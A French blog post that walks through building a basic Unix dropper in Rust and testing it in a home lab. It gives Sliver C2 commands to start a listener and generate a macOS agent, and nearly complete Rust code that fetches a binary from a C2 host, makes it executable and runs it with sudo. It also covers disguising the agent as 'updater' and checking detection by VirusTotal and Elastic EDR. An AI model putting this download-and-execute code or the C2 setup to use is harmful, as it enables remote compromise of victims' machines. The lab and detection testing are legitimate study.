🦀Dropper Unix en Rust

Auteur : Coili

Lien du projet : https://github.com/coili/basic-unix-dropper.rs

Introduction

Passionné par les malwares de manière générale (je sais, je suis bizarre), j'ai voulu élargir mes compétences via le développement d'un dropper, en Rust (et un peu sado). J'ai choisi ce langage pour la simple et bonne raison que je suis en train de l'apprendre : cela me permet une mise en pratique directe de ce que j'ai pu voir.

Le fonctionnement de mon malware est très simple et composé de deux étapes :

• Télécharger un binaire d'un serveur C2 ;

• Exécuter ce binaire.

J'ai décidé de cibler les systèmes Unix car j'ai déjà réalisé ce type de projet, mais pour Windows. J'ai voulu comprendre les différences et si j'allais faire face aux mêmes problématiques que j'ai pu précédemment avoir. Par défaut, Windows possède un anti-virus : Defender. Les systèmes Unix, aucun.

Est-ce que je vais réussir ? Comment les systèmes cibles vont réagir ? C'est ce que l'on va voir à travers cet article.

Mise en place du lab

La première étape de ce projet consiste en la mise en place d'un lab. Rien de très compliqué ici : j'ai simplement voulu créer un environnement se rapprochant de ce qu'on peut trouver dans des cas réels. Pour cela, j'ai créer une VM qui fera office de redirecteur.

Le rôle du redirecteur est, comme son nom l'indique, de rediriger les différents paquets réseaux entre les machines victimes et ma machine d'attaquant. Cette pratique est utilisée pour assurer, d'une certaine manière, l'OPSEC. Elle est complétement optionnelle ici et n'impacte en rien le fonctionnement du dropper.

Le schéma ci-dessous représente ce mécanisme :

C2 avec redirecteur

L'agent présent sur les machines victimes communiquent donc avec ma machine d'attaquant, à travers le redirecteur. Je vous rassure, je n'ai pas déposé le domaine www.rhk.com, j'ai juste modifié les fichiers /etc/hosts.

Ma machine victime n'est ni plus ni moins que mon ordinateur personnel : un Mac. L'idée est de voir si Apple a mis en place un moyen de protection par défaut, un peu comme Defender pour Windows.

Enfin, j'utilise sliver en tant que serveur C2. Simple et efficace, ça marche bien, je vous conseille.

Configuration du C2

Cette partie est sans doute la plus compliquée de ce projet. Je vous conseille de prendre des notes, faire des pauses, et relire plusieurs fois pour être bien certain de tout comprendre. Je suis évidemment joignable sur Discord si vous avez des questions. Soufflez un coup et échauffez vous. Je vous préviens : il y aura un avant-après dans votre vie.

On va d'abord commencer par créer un listener http. Il est possible de le faire via le protocole https mais je n'avais pas de certificat sous la main. Donc on restera sur du http pour cette fois :

Création d'un listener http

sliver > http

On peut vérifier sa création via la commande jobs :

Vérification

 ID   Name   Protocol   Port   Stage Profile 
==== ====== ========== ====== ===============
 1    http   tcp        80                   

Enfin, il ne nous reste plus qu'à générer l'agent sliver pour Mac :

Génération de l'agent

sliver > generate --http www.rhk.com --os mac --save /tmp --debug

Ici, j'utilise comme options :

• --http : nom de domaine pointant sur le redirecteur ;

• --os : OS (avouez vous ne l'aviez pas) ;

• --save : dossier où l'agent sera sauvegardé ;

• --debug : permet d'avoir des informations de debug. Pour plus de discrétion, enlevez cette option.

Et voila. C'est tout. Compliqué n'est-ce pas ?

Pour plus de réalisme, j'ai renommé l'agent en updater. Complètement optionnel encore une fois, mais tant qu'on y est, on ne va pas se priver.

Développement du malware

Cette partie est sans doute la plus intéressante. Au total, le code ne fait que 93 lignes. C'est court, mais efficace.

Il est possible de faire encore plus court. En effet, j'ai ajouté une "fonctionnalité" de debug. Encore une fois : totalement optionnelle.

Téléchargement du malware

On va d'abord commencer par télécharger le malware. Pour ce faire, je vais utiliser deux crates : reqwest et tokio.

use std::{
    fs::File,
    io::{copy, Cursor},
};

type Result<T> = std::result::Result<T, Box<dyn std::error::Error + Send + Sync>>;

#[tokio::main]
async fn main() -> Result<()> {
    let target: &str = "http://www.rhk.com:8000/updater";
    let filename: &str = "updater";
    
    let response = reqwest::get(target).await?;
    let mut dest_file = File::create(filename).expect("");
     
    let mut content = Cursor::new(response.bytes().await?);
    let copy = copy(&mut content, &mut dest_file);
     
    Ok(())
}

Modification du dossier de sauvegarde

Ca marche bien, mais premier petit problème : l'agent sliver est téléchargé dans le dossier dans lequel notre dropper est exécuté. On peut changer facilement le dossier où il est sauvegardé, par exemple : /tmp. Ce n'est vraiment pas optimal pour la persistence, mais ce n'est pas l'objectif ici :

let temp_path = Path::new("/tmp");
let change_current_dir = set_current_dir(temp_path);

Modification des permissions

Avant l'exécution de l'agent, il faut s'assurer que ce dernier ait les bonnes permissions. Ici, nous avons uniquement besoin des droits d'exécution. Avec un terminal, il suffirait d'utiliser chmod 100 /tmp/updater. En Rust :

let mut permissions = dest_file.metadata()?.permissions();
permissions.set_mode(0o100);
let _ = set_permissions(filename, permissions.clone());

Exécution de l'agent

Enfin, on exécute l'agent :

let _ = Command::new("/tmp/".to_owned() + filename)
        .spawn()
        .expect("error"); 

Cette méthode fonctionne sous MacOS mais pas sur Linux. La cause : PermissionDenied. J'ai tenté d'exécuter le binaire avec sudo, mais j'obtiens le même résultat.

La seule méthode que j'ai trouvé pour régler ce problème est d'appeler le binaire sudo et de passer en argument notre agent sliver :

let _ = Command::new("sudo")
        .arg("/tmp/".to_owned() + filename)
        .spawn()
        .expect("error"); 

Cependant, il est nécessaire que le dropper soit également exécuté via sudo. Pour cela, on ajoute simple une vérification :

if !Uid::effective().is_root() {
    panic!("[x] You must run this update script with root permissions!");
}

Et....... TADAAAAA !!!!

Connexion de l'agent vers le serveur C2

On peut tout de même vérifier l'exécution de l'agent directement depuis le Mac :

/tmp $ ps

  PID TTY           TIME CMD
xxxxx ttys000    0:15.33 -/bin/zsh
xxxxx ttys002    0:01.55 /run/current-system/sw/bin/zsh -il
49455 ttys002    0:00.33 /tmp/updater

Le dropper, quant à lui, n'est plus exécuté dès lors qu'il a lancé l'exécution de l'agent.

Le code source du projet GitHub est disponible à l'adresse mentionnée au début de cet article, au dessus de la partie Introduction.

Et l'AV ?

Hmmm... Comment dire ??

Par défaut, je n'ai eu aucun problème a exécuter le dropper, ni même l'agent sliver. Aucune restriction, rien.

J'ai upload le binaire Linux sur VirusTotal et en effet, le résultat est sans appel :

Scan VirusTotal du dropper, compilé sur une machine Ubuntu

Fun fact : VT détecte la présence des fonctions Windows API ! 👍

Faux positif de VT

Suis-je vraiment fort au point de créer un malware indétectable du premier coup ? Spoiler : non.

Dans mon lab, j'ai installé Elastic EDR, via ce magnifique projet : https://github.com/peasead/elastic-container. Ainsi, je vais vérifier si cet EDR détecte le dropper et l'agent sliver.

Elastic EDR est configuré en mode Detect pour éviter que le programme soit supprimé s'il est considéré comme malveillant. Bien évidemment, j'utilise ce mode car il s'agit ici d'un lab et non d'un environnement de production.

A l'exécution, une alerte est levée sur ma machine victime :

Alerte sur Elastic EDR

Evénement lié à l'alerte

Le champ file.name nous indique que le fichier updater (agent sliver) est considéré comme malveillant. Cela se confirme si l'on observe la timeline liée à l'alerte :

Timeline de l'alerte

Le dropper, quant à lui, n'est pas considéré comme malveillant (de toute façon on le savait déjà, s/o le scan VT).

[WIP]